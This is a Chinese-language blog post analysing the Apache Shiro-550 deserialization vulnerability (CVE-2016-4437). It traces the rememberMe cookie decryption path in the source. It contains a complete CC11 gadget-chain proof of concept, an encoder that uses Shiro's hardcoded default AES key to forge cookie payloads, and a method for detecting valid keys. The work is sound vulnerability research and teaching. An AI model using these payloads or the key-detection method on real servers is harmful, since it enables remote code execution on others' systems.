Shiro安全(一):Shiro-550反序列化

Shiro安全(一):Shiro-550反序列化

    • 0x00 前言
    • 0x01 漏洞环境
    • 0x02 漏洞原理
    • 0x03 漏洞利用
    • 0x04 漏洞分析
    • 0x05 密钥检测
    • 0x06 总结
    • 0x07 参考文章

0x00 前言

Shiro 550(CVE-2016-4437),其在护网期间担任重要的角色,也有很多的利用工具。本文将详细介绍Shiro 550漏洞原理

0x01 漏洞环境

这里搭建一个shiro的demo站点

首先下载shiro 1.2.4源码

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

用IDEA打开\shiro-shiro-root-1.2.4\samples\web,这个是shiro的demo站点

pox.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Licensed to the Apache Software Foundation (ASF) under one
  ~ or more contributor license agreements.  See the NOTICE file
  ~ distributed with this work for additional information
  ~ regarding copyright ownership.  The ASF licenses this file
  ~ to you under the Apache License, Version 2.0 (the
  ~ "License"); you may not use this file except in compliance
  ~ with the License.  You may obtain a copy of the License at
  ~
  ~     http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~ Unless required by applicable law or agreed to in writing,
  ~ software distributed under the License is distributed on an
  ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
  ~ KIND, either express or implied.  See the License for the
  ~ specific language governing permissions and limitations
  ~ under the License.
  -->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
<!--        <dependency>-->
<!--            <groupId>javax.servlet</groupId>-->
<!--            <artifactId>jstl</artifactId>-->
<!--            <scope>runtime</scope>-->
<!--        </dependency>-->
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
<!--            <scope>provided</scope>-->
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
<!--            <scope>test</scope>-->
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  这里需要将jstl设置为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
<!--        <dependency>-->
<!--            <groupId>org.apache.commons</groupId>-->
<!--            <artifactId>commons-collections4</artifactId>-->
<!--            <version>4.0</version>-->
<!--        </dependency>-->
    </dependencies>

</project>

tomcat配置

Shiro安全(一):Shiro-550反序列化_第1张图片

项目结构

Shiro安全(一):Shiro-550反序列化_第2张图片

启动,看到以下页面即搭建成功

Shiro安全(一):Shiro-550反序列化_第3张图片

0x02 漏洞原理

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。在shiro <= 1.2.24中,AES 加密算法的key是硬编码在源码中,导致攻击者一旦知道密钥,就可以构造恶意的序列化加密数据赋值到rememberMe上,从而触发反序列化漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qjQnXB6F-1659351648909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220801172350299.png)]

0x03 漏洞利用

shiro是给了我们一个能够反序列化的点,这里我们使用CC11来做为我们的利用链,对其进行AES加密以及base64编码

CC11的POC:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11 {
    public static void main(String[] args) throws Exception {

        // 利用javasist动态创建恶意字节码
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

        // 写入.class 文件
        // 将我的恶意类转成字节码,并且反射设置 bytecodes
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates,targetByteCodes);

        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates,"name");

        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates,null);

        InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

生成cc11文件后,需要对其进行加密以及base64编码

package shiro550;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;

public class AESencode {
    public static void main(String[] args) throws Exception {
        String path = "./cc11";
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(path), key);
        System.out.printf(ciphertext.toString());
    }


    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;

    }
}

PS:base64操作在ciphertext.toString()中

Shiro安全(一):Shiro-550反序列化_第4张图片

现在可以看到输出了加密后的cc11 payload

Shiro安全(一):Shiro-550反序列化_第5张图片

用burp发送即可弹计算器,不用登录,直接在cookie中加个rememberMe字段即可

Shiro安全(一):Shiro-550反序列化_第6张图片

0x04 漏洞分析

这个链子蛮短的,大致流程就是shiro首先获取cookie中的rememberMe字段,然后对其进行base64解密然后进行AES解密

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AuWngMCB-1659351648910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220801172350299.png)]

首先是在AbstractRememberMeManager#getRememberedPrincipals中,将用户的上下文数据传入到getRememberedSerializedIdentity中

Shiro安全(一):Shiro-550反序列化_第7张图片

跟进getRememberedSerializedIdentity,首先获取request对象,然后获取用户的Cookie

Shiro安全(一):Shiro-550反序列化_第8张图片

跟进readValue,可以看到其实是获得rememberMe的值

Shiro安全(一):Shiro-550反序列化_第9张图片

回到上层,继续往下走发现对rememberMe值进行了base64解码,然后return

Shiro安全(一):Shiro-550反序列化_第10张图片

回到上一层,这里的bytes就是rememberMe的base64解码,跟进convertBytesToPrincipals方法,这个方法是进行解密的

Shiro安全(一):Shiro-550反序列化_第11张图片

继续跟进decrypt

Shiro安全(一):Shiro-550反序列化_第12张图片

可以看首先利用getDecryptionCipherKey获取解密密钥,然后利用cipherService.decrypt解密。跟进getDecryptionCipherKey看看是如何获取密钥的

Shiro安全(一):Shiro-550反序列化_第13张图片

直接返回了decryptionCipherKey

Shiro安全(一):Shiro-550反序列化_第14张图片

找找setdecryptionCipherKey,可以看到将decryptionCipherKey参数传给this.decryptionCipherKey

Shiro安全(一):Shiro-550反序列化_第15张图片

继续找谁调用了setDecryptionCipherKey,可以看到在setCipherKey中调用了

Shiro安全(一):Shiro-550反序列化_第16张图片

再找找谁调用了,可以看到无参构造器调用了,并且传入了常量DEFAULT_CIPHER_KEY_BYTES

Shiro安全(一):Shiro-550反序列化_第17张图片

所以说,getDecryptionCipherKey返回的结果就是DEFAULT_CIPHER_KEY_BYTES

Shiro安全(一):Shiro-550反序列化_第18张图片

捋一下流程:

  1. AbstractRememberMeManager的构造函数中传入了 Base64解码后的密钥,然后调用了setCipherKey

  2. setCipherKey 中调用了setDecryptionCipherKey设置了decryptionCipherKey属性

  3. getDecryptionCipherKey 直接返回了该属性

好了回到上一层,解密密钥获得了,下一步开始解密

Shiro安全(一):Shiro-550反序列化_第19张图片

跟进decrypt,最后调用了this.decrypt进行解密

Shiro安全(一):Shiro-550反序列化_第20张图片

跟进decrypt,调用了this.crypt并且传入了2,这个2代表的解密模式,即需要解密

Shiro安全(一):Shiro-550反序列化_第21张图片

跟进crypt,最终调用cipher.doFinal进行解密,然后返回解密结果

Shiro安全(一):Shiro-550反序列化_第22张图片

Shiro安全(一):Shiro-550反序列化_第23张图片

返回到 AbstractRememberMeManager#decrypt 然后将返回值赋值给 byteSource ,然后存入到字节数组 serialized中, 然后进行返回

Shiro安全(一):Shiro-550反序列化_第24张图片

返回值赋值给bytes并进行deserialize操作

Shiro安全(一):Shiro-550反序列化_第25张图片

跟进deserialize

Shiro安全(一):Shiro-550反序列化_第26张图片

再跟进deserialize,发现将序列化流读入到ObjectInputStream,然后调用readObject反序列化,这就出发了cc11利用链

Shiro安全(一):Shiro-550反序列化_第27张图片

成功弹出计算器

Shiro安全(一):Shiro-550反序列化_第28张图片

0x05 密钥检测

http://www.lmxspace.com/2020/08/24/一种另类的shiro检测方式/

网上有很多检测方式比如说dnslog,cc盲打等,这种会存在一些小问题,比如当这个 shiro 没有 dnslog ,且 gadget 不是CC的情况下,可能就会漏过一些漏洞。

现在介绍一种比较简单的方式,通过看响应包中是够包含deleteMe来检测

key正确则不显示deleteMe,反之则显示 deleteMe,这样的检测方法能够高效的进行检测

原理呢大概就是如果密钥不正确,在解密时就会抛出异常,该异常会被AbstractRememberMeManager#getRememberedPrincipals捕获到

Shiro安全(一):Shiro-550反序列化_第29张图片

跟进onRememberedPrincipalFailure发现会在响应头中添加deleteMe,所以说如果密钥不正确就会在响应头中看到RememberMe=deleteMe

Shiro安全(一):Shiro-550反序列化_第30张图片

但是呢,我们会发现其实在密钥正确的情况下发送利用链也会显示RememberMe=deleteMe,这是因为在反序列化后会将其转换为PrincipalCollection类,这里会抛出无法转换异常,从而被上层的getRememberedPrincipals捕获到,进入onRememberedPrincipalFailure方法,使得响应头中添加了RememberMe=deleteMe

Shiro安全(一):Shiro-550反序列化_第31张图片

所以在密钥正确的情况下想要让回显头中没有 deleteMe 也是有条件的

  • 我们需要构造一个继承于 PrincipalCollection 的序列化对象

SimplePrincipalCollection继承了PrincipalCollection并且可以序列化

SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("./detect.ser"));
obj.writeObject(simplePrincipalCollection);
obj.close();

然后用AES加密即可

package shiroexploit.demo;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;


public class AESencode {
    public static void main(String[] args) throws Exception {
        String path = "detect.ser";
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(path), key);
        System.out.printf(ciphertext.toString());
    }


    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }
}

key正确截图:

Shiro安全(一):Shiro-550反序列化_第32张图片

key不对的情况:

Shiro安全(一):Shiro-550反序列化_第33张图片

Shiro安全(一):Shiro-550反序列化_第34张图片

PS:对于cc11利用链来说,其会在反序列化过程中报错,所以说会被上层的getRememberedPrincipals捕获到,从而进入onRememberedPrincipalFailure方法,使得响应头中添加了RememberMe=deleteMe。所以说对于cc11payload来说,不管是正确的密钥还是错误的密钥都会显示RememberMe=deleteMe。下图中可以看到确实是在反序列化中发出异常了,走进了catch,但是由于我们的命令执行在报错之前所以并无大碍

Shiro安全(一):Shiro-550反序列化_第35张图片

0x06 总结

  • 其实可以将AbstractRememberMeManager#getRememberedPrincipals当做主函数,其中getRememberedSerializedIdentity方法负责base64解码,convertBytesToPrincipals负责AES解密并反序列化
  • 其实shiro550就是给我们了一个反序列化契机,只要我们能够爆破出key值就能利用cc或者其他Gadget构造恶意序列化加密payload赋值给RememberMe,发送过去后,shiro解码解密反序列化RememberMe从而触发了Gadget链条
  • 利用SimplePrincipalCollection进行key检测

​ 因为SimplePrincipalCollection在反序列化后被转为PrincipalCollection不会报转换异常,所以能存在异常的点就只有密钥错误从而爆出的异常。所以说利用SimplePrincipalCollection进行key检测,主要key不对响应包中就会有RememberMe=deleteMe

0x07 参考文章

https://www.yuque.com/tianxiadamutou/zcfd4v/op3c7v

一种另类的shiro检测方式 (lmxspace.com)

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

https://www.anquanke.com/post/id/225442#h3-9

你可能感兴趣的:(Java安全,安全,java,web安全)